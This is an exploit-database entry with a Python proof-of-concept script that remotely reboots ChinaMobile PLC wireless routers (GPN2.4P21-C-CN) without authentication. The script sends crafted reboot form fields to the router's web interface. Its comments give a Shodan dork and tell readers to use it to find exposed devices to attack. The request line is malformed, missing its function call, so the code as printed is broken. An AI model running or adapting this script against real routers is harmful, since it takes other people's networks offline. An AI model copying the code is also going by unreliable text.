PLC Wireless Router GPN2.4P21-C-CN Denial Of Service

PLC Wireless Router GPN2.4P21-C-CN suffers from a denial of service vulnerability via an unauthenticated remote reboot flaws.

MD5 | fa3f0b316a6e316f845b3dc6e3aa2e3b

# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN Unauthenticated Remote Reboot
# Date: 8/12/2018
# Exploit Author: Chris Rose
# Affected Model : GPN2.4P21-C-CN(Firmware: W2001EN-00)
# Vendor: ChinaMobile
# Tested on: Debian Linux
# Shodan dork- title:PLC
# CVE: None
#Description: PLC Wireless Router's are vulnerable to a unauthenticated remote reboot
# which can be achieved through sending a modified http request. The script below will
# take a user suppled IP address of a PLC router and send the exploit to the device.# Use the Shodan dork above to find PLC wireless routers.

import requests
import time

target = raw_input("Enter target IP: ")
post_data = {'reboot' : 'Reboot', 'obj-action' : 'reboot', 'var%3Anoredirect' : '1', 'var%3Amenu' : 'maintenance', 'var%3Apage' : 'system', 'var%3Aerrorpage' : 'system', 'getpage' : 'html%2Fpage%2Frestarting.html'}
exploit ="http://"+target+":8080/cgi-bin/webproc", data=post_data)

print ("Sent exploit attempt to %s")% target
print ("Test if device is offline.")
print ("Visit http://"+target+":8080/")

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